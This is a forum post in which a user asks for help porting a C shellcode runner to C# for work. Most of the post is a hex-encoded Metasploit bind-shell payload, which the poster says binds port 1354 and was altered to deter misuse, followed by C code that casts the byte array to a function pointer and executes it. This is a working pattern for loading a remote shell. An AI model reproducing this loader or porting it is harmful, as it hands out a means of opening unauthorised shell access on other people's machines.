Alright not totally the best topic but I have to learn this .net C# stuff for work and was messing around with it but it's not totally how I would do it in C there are some little differences. So I grabbed some shellcode from metasploit (i'm lazy) for their Bind Shell and just can't get it to fire off. I guess I'm basically trying to get some help in porting it over.
Here is my c code
(waring don't run it binds to port 1354, I also messed with the shell code to keep script kiddies away)
Code://funky_bunny.c unsigned char bunny[] = "\x33\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xef" "\x63\xf6\xfd\x83\xeb\xfc\xe2\xf4\x13\x09\x1d\xb0\x07\x9a\x09\x02" "\x10\x03\x7d\x91\xcb\x47\x7d\xb8\xd3\xe8\x8a\xf8\x97\x62\x19\x76" "\xa0\x7b\x7d\xa2\xcf\x62\x1d\xb4\x64\x57\x7d\xfc\x01\x52\x36\x64" "\x43\xe7\x36\x89\xe8\xa2\x3c\xf0\xee\xa1\x1d\x09\xd4\x37\xd2\xd5" "\x9a\x86\x7d\xa2\xcb\x62\x1d\x9b\x64\x6f\xbd\x76\xb0\x7f\xf7\x16" "\xec\x4f\x7d\x74\x83\x47\xea\x9c\x2c\x52\x2d\x99\x64\x20\xc6\x76" "\xaf\x6f\x7d\x8d\xf3\xce\x7d\xbd\xe7\x3d\x9e\x73\xa1\x6d\x1a\xad" "\x10\xb5\x90\xae\x89\x0b\xc5\xcf\x87\x14\x85\xcf\xb0\x37\x09\x2d" "\x87\xa8\x1b\x01\xd4\x33\x09\x2b\xb0\xea\x13\x9b\x6e\x8e\xfe\xff" "\xba\x09\xf4\x02\x3f\x0b\x2f\xf4\x1a\xce\xa1\x02\x39\x30\xa5\xae" "\xbc\x30\xb5\xae\xac\x30\x09\x2d\x89\x0b\xf3\xb7\x89\x30\x7f\x1c" "\x7a\x0b\x52\xe7\x9f\xa4\xa1\x02\x39\x09\xe6\xac\xba\x9c\x26\x95" "\x4b\xce\xd8\x14\xb8\x9c\x20\xae\xba\x9c\x26\x95\x0a\x2a\x70\xb4" "\xb8\x9c\x20\xad\xbb\x37\xa3\x02\x3f\xf0\x9e\x1a\x96\xa5\x8f\xaa" "\x10\xb5\xa3\x02\x3f\x05\x9c\x99\x89\x0b\x95\x90\x66\x86\x9c\xad" "\xb6\x4a\x3a\x74\x08\x09\xb2\x74\x0d\x52\x36\x0e\x45\x9d\xb4\xd0" "\x11\x21\xda\x6e\x62\x19\xce\x56\x44\xc8\x9e\x8f\x11\xd0\xe0\x02" "\x9a\x27\x09\x2b\xb4\x34\xa4\xac\xbe\x32\x9c\xfc\xbe\x32\xa3\xac" "\x10\xb3\x9e\x50\x36\x66\x38\xae\x10\xb5\x9c\x02\x10\x54\x09\x2d" "\x64\x34\x0a\x7e\x2b\x07\x09\x2b\xbd\x9c\x26\x95\x1f\xe9\xf2\xa2" "\xbc\x9c\x20\x02\x3f\x63\xf6\xfe"; int main(int argc, char **argv) { int (*funky)(); funky = (int (*)()) bunny; (int)(*funky)(); }




Reply With Quote